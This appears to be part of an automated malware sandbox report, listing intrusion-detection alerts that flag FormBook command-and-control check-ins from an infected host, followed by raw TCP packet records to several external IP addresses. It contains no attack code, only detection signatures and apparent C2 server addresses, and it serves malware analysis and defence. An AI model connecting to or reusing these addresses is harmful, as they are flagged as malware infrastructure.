2024-10-07T12:34:22.447412+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	50004	3.33.130.190	80	TCP
2024-10-07T12:34:22.447412+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50004	3.33.130.190	80	TCP
2024-10-07T12:34:28.111247+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50005	162.0.215.33	80	TCP
2024-10-07T12:34:30.678244+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50006	162.0.215.33	80	TCP
2024-10-07T12:34:33.201827+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50008	162.0.215.33	80	TCP
2024-10-07T12:34:35.712226+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	50009	162.0.215.33	80	TCP
2024-10-07T12:34:35.712226+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50009	162.0.215.33	80	TCP
2024-10-07T12:34:41.559097+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50010	161.97.168.245	80	TCP
2024-10-07T12:34:44.112473+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50011	161.97.168.245	80	TCP
2024-10-07T12:34:46.654874+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50012	161.97.168.245	80	TCP
2024-10-07T12:34:49.206027+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	50013	161.97.168.245	80	TCP
2024-10-07T12:34:49.206027+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50013	161.97.168.245	80	TCP
2024-10-07T12:34:54.742279+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50014	3.33.130.190	80	TCP
2024-10-07T12:34:57.262281+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50015	3.33.130.190	80	TCP
2024-10-07T12:34:59.817849+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50016	3.33.130.190	80	TCP
2024-10-07T12:35:02.512579+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	50017	3.33.130.190	80	TCP
2024-10-07T12:35:02.512579+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50017	3.33.130.190	80	TCP
2024-10-07T12:35:08.027836+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50019	3.33.130.190	80	TCP
2024-10-07T12:35:11.501332+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50020	3.33.130.190	80	TCP
2024-10-07T12:35:14.164268+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50021	3.33.130.190	80	TCP
2024-10-07T12:35:15.652529+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	50022	3.33.130.190	80	TCP
2024-10-07T12:35:15.652529+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50022	3.33.130.190	80	TCP
2024-10-07T12:35:21.946304+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50023	209.74.64.190	80	TCP
2024-10-07T12:35:24.477025+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50024	209.74.64.190	80	TCP
2024-10-07T12:35:27.215648+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50025	209.74.64.190	80	TCP
2024-10-07T12:35:29.758274+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	50026	209.74.64.190	80	TCP
2024-10-07T12:35:29.758274+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50026	209.74.64.190	80	TCP
2024-10-07T12:35:35.797681+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50027	68.178.233.113	80	TCP
2024-10-07T12:35:38.348515+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50028	68.178.233.113	80	TCP
2024-10-07T12:35:40.922359+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50029	68.178.233.113	80	TCP
2024-10-07T12:35:43.466281+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	50030	68.178.233.113	80	TCP
2024-10-07T12:35:43.466281+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50030	68.178.233.113	80	TCP
2024-10-07T12:35:48.971881+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50031	3.33.130.190	80	TCP
2024-10-07T12:35:52.446394+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50032	3.33.130.190	80	TCP
2024-10-07T12:35:54.075073+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50033	3.33.130.190	80	TCP
2024-10-07T12:35:56.623411+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	50034	3.33.130.190	80	TCP
2024-10-07T12:35:56.623411+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50034	3.33.130.190	80	TCP
2024-10-07T12:36:11.020258+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50035	38.55.251.233	80	TCP
2024-10-07T12:36:13.566533+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50036	38.55.251.233	80	TCP
2024-10-07T12:36:16.078392+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50037	38.55.251.233	80	TCP
2024-10-07T12:36:18.635812+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	50038	38.55.251.233	80	TCP
2024-10-07T12:36:18.635812+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50038	38.55.251.233	80	TCP
2024-10-07T12:36:24.286083+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50040	162.0.215.33	80	TCP
2024-10-07T12:36:26.838386+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50041	162.0.215.33	80	TCP
2024-10-07T12:36:29.376188+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50042	162.0.215.33	80	TCP
2024-10-07T12:36:31.961637+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	50043	162.0.215.33	80	TCP
2024-10-07T12:36:31.961637+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50043	162.0.215.33	80	TCP
2024-10-07T12:36:37.921582+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50044	8.217.17.192	80	TCP
2024-10-07T12:36:40.470406+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50045	8.217.17.192	80	TCP
2024-10-07T12:36:43.038469+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.6	50046	8.217.17.192	80	TCP
2024-10-07T12:37:06.037449+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.2.6	50047	8.217.17.192	80	TCP
2024-10-07T12:37:06.037449+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.6	50047	8.217.17.192	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 12:33:29.942090034 CEST	49864	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:33:29.947004080 CEST	80	49864	3.33.130.190	192.168.2.6
Oct 7, 2024 12:33:29.947101116 CEST	49864	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:33:29.953324080 CEST	49864	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:33:29.958178043 CEST	80	49864	3.33.130.190	192.168.2.6
Oct 7, 2024 12:33:30.413278103 CEST	80	49864	3.33.130.190	192.168.2.6
Oct 7, 2024 12:33:30.413317919 CEST	80	49864	3.33.130.190	192.168.2.6
Oct 7, 2024 12:33:30.413476944 CEST	49864	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:33:30.416186094 CEST	49864	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:33:30.421153069 CEST	80	49864	3.33.130.190	192.168.2.6
Oct 7, 2024 12:33:46.247889996 CEST	49969	80	192.168.2.6	119.18.54.27
Oct 7, 2024 12:33:46.252760887 CEST	80	49969	119.18.54.27	192.168.2.6
Oct 7, 2024 12:33:46.254173994 CEST	49969	80	192.168.2.6	119.18.54.27
Oct 7, 2024 12:33:46.262151957 CEST	49969	80	192.168.2.6	119.18.54.27
Oct 7, 2024 12:33:46.267096996 CEST	80	49969	119.18.54.27	192.168.2.6
Oct 7, 2024 12:33:47.257277012 CEST	80	49969	119.18.54.27	192.168.2.6
Oct 7, 2024 12:33:47.257424116 CEST	80	49969	119.18.54.27	192.168.2.6
Oct 7, 2024 12:33:47.257488966 CEST	49969	80	192.168.2.6	119.18.54.27
Oct 7, 2024 12:33:47.797904968 CEST	49969	80	192.168.2.6	119.18.54.27
Oct 7, 2024 12:33:48.808706999 CEST	49987	80	192.168.2.6	119.18.54.27
Oct 7, 2024 12:33:48.813638926 CEST	80	49987	119.18.54.27	192.168.2.6
Oct 7, 2024 12:33:48.813735962 CEST	49987	80	192.168.2.6	119.18.54.27
Oct 7, 2024 12:33:48.825151920 CEST	49987	80	192.168.2.6	119.18.54.27
Oct 7, 2024 12:33:48.830178976 CEST	80	49987	119.18.54.27	192.168.2.6
Oct 7, 2024 12:33:49.803615093 CEST	80	49987	119.18.54.27	192.168.2.6
Oct 7, 2024 12:33:49.804697037 CEST	80	49987	119.18.54.27	192.168.2.6
Oct 7, 2024 12:33:49.804749966 CEST	49987	80	192.168.2.6	119.18.54.27
Oct 7, 2024 12:33:50.335998058 CEST	49987	80	192.168.2.6	119.18.54.27
Oct 7, 2024 12:33:51.355798960 CEST	49992	80	192.168.2.6	119.18.54.27
Oct 7, 2024 12:33:51.360733986 CEST	80	49992	119.18.54.27	192.168.2.6
Oct 7, 2024 12:33:51.360862970 CEST	49992	80	192.168.2.6	119.18.54.27
Oct 7, 2024 12:33:51.374537945 CEST	49992	80	192.168.2.6	119.18.54.27
Oct 7, 2024 12:33:51.379477024 CEST	80	49992	119.18.54.27	192.168.2.6
Oct 7, 2024 12:33:51.379523039 CEST	80	49992	119.18.54.27	192.168.2.6
Oct 7, 2024 12:33:52.367022038 CEST	80	49992	119.18.54.27	192.168.2.6
Oct 7, 2024 12:33:52.367110968 CEST	80	49992	119.18.54.27	192.168.2.6
Oct 7, 2024 12:33:52.367187977 CEST	49992	80	192.168.2.6	119.18.54.27
Oct 7, 2024 12:33:52.886358976 CEST	49992	80	192.168.2.6	119.18.54.27
Oct 7, 2024 12:33:53.901002884 CEST	49994	80	192.168.2.6	119.18.54.27
Oct 7, 2024 12:33:53.906132936 CEST	80	49994	119.18.54.27	192.168.2.6
Oct 7, 2024 12:33:53.906349897 CEST	49994	80	192.168.2.6	119.18.54.27
Oct 7, 2024 12:33:53.914181948 CEST	49994	80	192.168.2.6	119.18.54.27
Oct 7, 2024 12:33:53.919161081 CEST	80	49994	119.18.54.27	192.168.2.6
Oct 7, 2024 12:33:54.876702070 CEST	80	49994	119.18.54.27	192.168.2.6
Oct 7, 2024 12:33:54.876904011 CEST	80	49994	119.18.54.27	192.168.2.6
Oct 7, 2024 12:33:54.877005100 CEST	49994	80	192.168.2.6	119.18.54.27
Oct 7, 2024 12:33:54.879313946 CEST	49994	80	192.168.2.6	119.18.54.27
Oct 7, 2024 12:33:54.884183884 CEST	80	49994	119.18.54.27	192.168.2.6
Oct 7, 2024 12:33:59.907582045 CEST	49995	80	192.168.2.6	104.21.5.125
Oct 7, 2024 12:33:59.912523985 CEST	80	49995	104.21.5.125	192.168.2.6
Oct 7, 2024 12:33:59.912612915 CEST	49995	80	192.168.2.6	104.21.5.125
Oct 7, 2024 12:33:59.921257019 CEST	49995	80	192.168.2.6	104.21.5.125
Oct 7, 2024 12:33:59.926115036 CEST	80	49995	104.21.5.125	192.168.2.6
Oct 7, 2024 12:34:00.756877899 CEST	80	49995	104.21.5.125	192.168.2.6
Oct 7, 2024 12:34:00.756895065 CEST	80	49995	104.21.5.125	192.168.2.6
Oct 7, 2024 12:34:00.757030964 CEST	49995	80	192.168.2.6	104.21.5.125
Oct 7, 2024 12:34:00.757906914 CEST	80	49995	104.21.5.125	192.168.2.6
Oct 7, 2024 12:34:00.757983923 CEST	49995	80	192.168.2.6	104.21.5.125
Oct 7, 2024 12:34:01.429899931 CEST	49995	80	192.168.2.6	104.21.5.125
Oct 7, 2024 12:34:02.447917938 CEST	49996	80	192.168.2.6	104.21.5.125
Oct 7, 2024 12:34:02.452821970 CEST	80	49996	104.21.5.125	192.168.2.6
Oct 7, 2024 12:34:02.452924013 CEST	49996	80	192.168.2.6	104.21.5.125
Oct 7, 2024 12:34:02.461504936 CEST	49996	80	192.168.2.6	104.21.5.125
Oct 7, 2024 12:34:02.466370106 CEST	80	49996	104.21.5.125	192.168.2.6
Oct 7, 2024 12:34:03.309200048 CEST	80	49996	104.21.5.125	192.168.2.6
Oct 7, 2024 12:34:03.309217930 CEST	80	49996	104.21.5.125	192.168.2.6
Oct 7, 2024 12:34:03.309278011 CEST	49996	80	192.168.2.6	104.21.5.125
Oct 7, 2024 12:34:03.309567928 CEST	80	49996	104.21.5.125	192.168.2.6
Oct 7, 2024 12:34:03.309612989 CEST	49996	80	192.168.2.6	104.21.5.125
Oct 7, 2024 12:34:04.005275965 CEST	49996	80	192.168.2.6	104.21.5.125
Oct 7, 2024 12:34:05.011909008 CEST	49998	80	192.168.2.6	104.21.5.125
Oct 7, 2024 12:34:05.016886950 CEST	80	49998	104.21.5.125	192.168.2.6
Oct 7, 2024 12:34:05.016995907 CEST	49998	80	192.168.2.6	104.21.5.125
Oct 7, 2024 12:34:05.032109976 CEST	49998	80	192.168.2.6	104.21.5.125
Oct 7, 2024 12:34:05.037066936 CEST	80	49998	104.21.5.125	192.168.2.6
Oct 7, 2024 12:34:05.037175894 CEST	80	49998	104.21.5.125	192.168.2.6
Oct 7, 2024 12:34:05.847724915 CEST	80	49998	104.21.5.125	192.168.2.6
Oct 7, 2024 12:34:05.847742081 CEST	80	49998	104.21.5.125	192.168.2.6
Oct 7, 2024 12:34:05.847754002 CEST	80	49998	104.21.5.125	192.168.2.6
Oct 7, 2024 12:34:05.847785950 CEST	49998	80	192.168.2.6	104.21.5.125
Oct 7, 2024 12:34:05.847815990 CEST	49998	80	192.168.2.6	104.21.5.125
Oct 7, 2024 12:34:06.539133072 CEST	49998	80	192.168.2.6	104.21.5.125
Oct 7, 2024 12:34:07.562582970 CEST	49999	80	192.168.2.6	104.21.5.125
Oct 7, 2024 12:34:07.567823887 CEST	80	49999	104.21.5.125	192.168.2.6
Oct 7, 2024 12:34:07.568022966 CEST	49999	80	192.168.2.6	104.21.5.125
Oct 7, 2024 12:34:07.574522018 CEST	49999	80	192.168.2.6	104.21.5.125
Oct 7, 2024 12:34:07.579471111 CEST	80	49999	104.21.5.125	192.168.2.6
Oct 7, 2024 12:34:08.398132086 CEST	80	49999	104.21.5.125	192.168.2.6
Oct 7, 2024 12:34:08.398183107 CEST	80	49999	104.21.5.125	192.168.2.6
Oct 7, 2024 12:34:08.398288965 CEST	49999	80	192.168.2.6	104.21.5.125
Oct 7, 2024 12:34:08.398296118 CEST	80	49999	104.21.5.125	192.168.2.6
Oct 7, 2024 12:34:08.398339987 CEST	49999	80	192.168.2.6	104.21.5.125
Oct 7, 2024 12:34:08.400535107 CEST	49999	80	192.168.2.6	104.21.5.125
Oct 7, 2024 12:34:08.405524015 CEST	80	49999	104.21.5.125	192.168.2.6
Oct 7, 2024 12:34:13.441201925 CEST	50000	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:34:13.446188927 CEST	80	50000	3.33.130.190	192.168.2.6
Oct 7, 2024 12:34:13.446269989 CEST	50000	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:34:13.454796076 CEST	50000	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:34:13.459790945 CEST	80	50000	3.33.130.190	192.168.2.6
Oct 7, 2024 12:34:13.941833973 CEST	80	50000	3.33.130.190	192.168.2.6
Oct 7, 2024 12:34:13.941937923 CEST	50000	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:34:14.963787079 CEST	50000	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:34:14.968823910 CEST	80	50000	3.33.130.190	192.168.2.6
Oct 7, 2024 12:34:15.983361006 CEST	50001	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:34:15.988512039 CEST	80	50001	3.33.130.190	192.168.2.6
Oct 7, 2024 12:34:15.988590956 CEST	50001	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:34:15.997273922 CEST	50001	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:34:16.002648115 CEST	80	50001	3.33.130.190	192.168.2.6
Oct 7, 2024 12:34:16.462503910 CEST	80	50001	3.33.130.190	192.168.2.6
Oct 7, 2024 12:34:16.462640047 CEST	50001	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:34:17.507884026 CEST	50001	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:34:17.512749910 CEST	80	50001	3.33.130.190	192.168.2.6
Oct 7, 2024 12:34:18.525608063 CEST	50003	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:34:18.530544043 CEST	80	50003	3.33.130.190	192.168.2.6
Oct 7, 2024 12:34:18.530635118 CEST	50003	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:34:18.537975073 CEST	50003	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:34:18.542820930 CEST	80	50003	3.33.130.190	192.168.2.6
Oct 7, 2024 12:34:18.542911053 CEST	80	50003	3.33.130.190	192.168.2.6
Oct 7, 2024 12:34:20.039330006 CEST	50003	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:34:20.045258045 CEST	80	50003	3.33.130.190	192.168.2.6
Oct 7, 2024 12:34:20.045309067 CEST	50003	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:34:21.057733059 CEST	50004	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:34:21.062721014 CEST	80	50004	3.33.130.190	192.168.2.6
Oct 7, 2024 12:34:21.062819958 CEST	50004	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:34:21.068662882 CEST	50004	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:34:21.073477030 CEST	80	50004	3.33.130.190	192.168.2.6
Oct 7, 2024 12:34:22.446708918 CEST	80	50004	3.33.130.190	192.168.2.6
Oct 7, 2024 12:34:22.446728945 CEST	80	50004	3.33.130.190	192.168.2.6
Oct 7, 2024 12:34:22.447412014 CEST	50004	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:34:22.450231075 CEST	50004	80	192.168.2.6	3.33.130.190
Oct 7, 2024 12:34:22.455041885 CEST	80	50004	3.33.130.190	192.168.2.6
Oct 7, 2024 12:34:27.480494976 CEST	50005	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:34:27.485497952 CEST	80	50005	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:27.485558033 CEST	50005	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:34:27.501383066 CEST	50005	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:34:27.506234884 CEST	80	50005	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:28.111026049 CEST	80	50005	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:28.111044884 CEST	80	50005	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:28.111056089 CEST	80	50005	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:28.111212015 CEST	80	50005	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:28.111222029 CEST	80	50005	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:28.111232996 CEST	80	50005	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:28.111247063 CEST	50005	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:34:28.114547968 CEST	50005	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:34:29.007858992 CEST	50005	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:34:30.031415939 CEST	50006	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:34:30.036329985 CEST	80	50006	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:30.039411068 CEST	50006	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:34:30.051422119 CEST	50006	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:34:30.056334972 CEST	80	50006	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:30.677895069 CEST	80	50006	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:30.677911997 CEST	80	50006	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:30.677922010 CEST	80	50006	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:30.678037882 CEST	80	50006	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:30.678049088 CEST	80	50006	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:30.678060055 CEST	80	50006	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:30.678244114 CEST	50006	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:34:30.678244114 CEST	50006	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:34:31.557970047 CEST	50006	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:34:32.574425936 CEST	50008	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:34:32.579560995 CEST	80	50008	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:32.580127001 CEST	50008	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:34:32.589368105 CEST	50008	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:34:32.594419956 CEST	80	50008	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:32.594451904 CEST	80	50008	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:33.201721907 CEST	80	50008	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:33.201790094 CEST	80	50008	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:33.201807022 CEST	80	50008	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:33.201822996 CEST	80	50008	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:33.201827049 CEST	50008	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:34:33.201843023 CEST	80	50008	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:33.201863050 CEST	80	50008	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:33.201879025 CEST	50008	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:34:33.201929092 CEST	50008	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:34:34.101790905 CEST	50008	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:34:35.120858908 CEST	50009	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:34:35.126061916 CEST	80	50009	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:35.126123905 CEST	50009	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:34:35.156199932 CEST	50009	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:34:35.161061049 CEST	80	50009	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:35.712127924 CEST	80	50009	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:35.712145090 CEST	80	50009	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:35.712153912 CEST	80	50009	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:35.712225914 CEST	50009	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:34:35.712271929 CEST	80	50009	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:35.712282896 CEST	80	50009	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:35.712292910 CEST	80	50009	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:35.712301970 CEST	80	50009	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:35.712332010 CEST	50009	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:34:35.712660074 CEST	80	50009	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:35.712668896 CEST	80	50009	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:35.712677002 CEST	80	50009	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:35.712701082 CEST	50009	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:34:35.712718964 CEST	50009	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:34:35.712822914 CEST	80	50009	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:35.712861061 CEST	50009	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:34:35.716001034 CEST	50009	80	192.168.2.6	162.0.215.33
Oct 7, 2024 12:34:35.720863104 CEST	80	50009	162.0.215.33	192.168.2.6
Oct 7, 2024 12:34:40.949526072 CEST	50010	80	192.168.2.6	161.97.168.245
Oct 7, 2024 12:34:40.954458952 CEST	80	50010	161.97.168.245	192.168.2.6
Oct 7, 2024 12:34:40.954530001 CEST	50010	80	192.168.2.6	161.97.168.245
Oct 7, 2024 12:34:40.966978073 CEST	50010	80	192.168.2.6	161.97.168.245
Oct 7, 2024 12:34:40.971982002 CEST	80	50010	161.97.168.245	192.168.2.6
Oct 7, 2024 12:34:41.558974981 CEST	80	50010	161.97.168.245	192.168.2.6
Oct 7, 2024 12:34:41.559026957 CEST	80	50010	161.97.168.245	192.168.2.6
Oct 7, 2024 12:34:41.559097052 CEST	50010	80	192.168.2.6	161.97.168.245
Oct 7, 2024 12:34:41.559108973 CEST	80	50010	161.97.168.245	192.168.2.6
Oct 7, 2024 12:34:41.559267044 CEST	50010	80	192.168.2.6	161.97.168.245
Oct 7, 2024 12:34:42.478283882 CEST	50010	80	192.168.2.6	161.97.168.245
Oct 7, 2024 12:34:43.496710062 CEST	50011	80	192.168.2.6	161.97.168.245
Oct 7, 2024 12:34:43.501863003 CEST	80	50011	161.97.168.245	192.168.2.6
Oct 7, 2024 12:34:43.501944065 CEST	50011	80	192.168.2.6	161.97.168.245
Oct 7, 2024 12:34:43.512648106 CEST	50011	80	192.168.2.6	161.97.168.245
Oct 7, 2024 12:34:43.517571926 CEST	80	50011	161.97.168.245	192.168.2.6
Oct 7, 2024 12:34:44.112163067 CEST	80	50011	161.97.168.245	192.168.2.6
Oct 7, 2024 12:34:44.112292051 CEST	80	50011	161.97.168.245	192.168.2.6
Oct 7, 2024 12:34:44.112473011 CEST	50011	80	192.168.2.6	161.97.168.245
Oct 7, 2024 12:34:44.115614891 CEST	80	50011	161.97.168.245	192.168.2.6
Oct 7, 2024 12:34:44.115716934 CEST	50011	80	192.168.2.6	161.97.168.245
Oct 7, 2024 12:34:45.023505926 CEST	50011	80	192.168.2.6	161.97.168.245
Oct 7, 2024 12:34:46.042411089 CEST	50012	80	192.168.2.6	161.97.168.245
Oct 7, 2024 12:34:46.047708988 CEST	80	50012	161.97.168.245	192.168.2.6
Oct 7, 2024 12:34:46.047904015 CEST	50012	80	192.168.2.6	161.97.168.245
Oct 7, 2024 12:34:46.057806015 CEST	50012	80	192.168.2.6	161.97.168.245
Oct 7, 2024 12:34:46.062962055 CEST	80	50012	161.97.168.245	192.168.2.6
Oct 7, 2024 12:34:46.063189030 CEST	80	50012	161.97.168.245	192.168.2.6
Oct 7, 2024 12:34:46.651693106 CEST	80	50012	161.97.168.245	192.168.2.6
Oct 7, 2024 12:34:46.651757002 CEST	80	50012	161.97.168.245	192.168.2.6
Oct 7, 2024 12:34:46.651788950 CEST	80	50012	161.97.168.245	192.168.2.6
Oct 7, 2024 12:34:46.654874086 CEST	50012	80	192.168.2.6	161.97.168.245
Oct 7, 2024 12:34:47.570539951 CEST	50012	80	192.168.2.6	161.97.168.245
Oct 7, 2024 12:34:48.588679075 CEST	50013	80	192.168.2.6	161.97.168.245
Oct 7, 2024 12:34:48.593934059 CEST	80	50013	161.97.168.245	192.168.2.6
Oct 7, 2024 12:34:48.602351904 CEST	50013	80	192.168.2.6	161.97.168.245
Oct 7, 2024 12:34:48.603678942 CEST	50013	80	192.168.2.6	161.97.168.245
Oct 7, 2024 12:34:48.608473063 CEST	80	50013	161.97.168.245	192.168.2.6
Oct 7, 2024 12:34:49.205775023 CEST	80	50013	161.97.168.245	192.168.2.6
Oct 7, 2024 12:34:49.205941916 CEST	80	50013	161.97.168.245	192.168.2.6
Oct 7, 2024 12:34:49.205952883 CEST	80	50013	161.97.168.245	192.168.2.6
Oct 7, 2024 12:34:49.205962896 CEST	80	50013	161.97.168.245	192.168.2.6
Oct 7, 2024 12:34:49.206027031 CEST	50013	80	192.168.2.6	161.97.168.245
Oct 7, 2024 12:34:49.206062078 CEST	50013	80	192.168.2.6	161.97.168.245
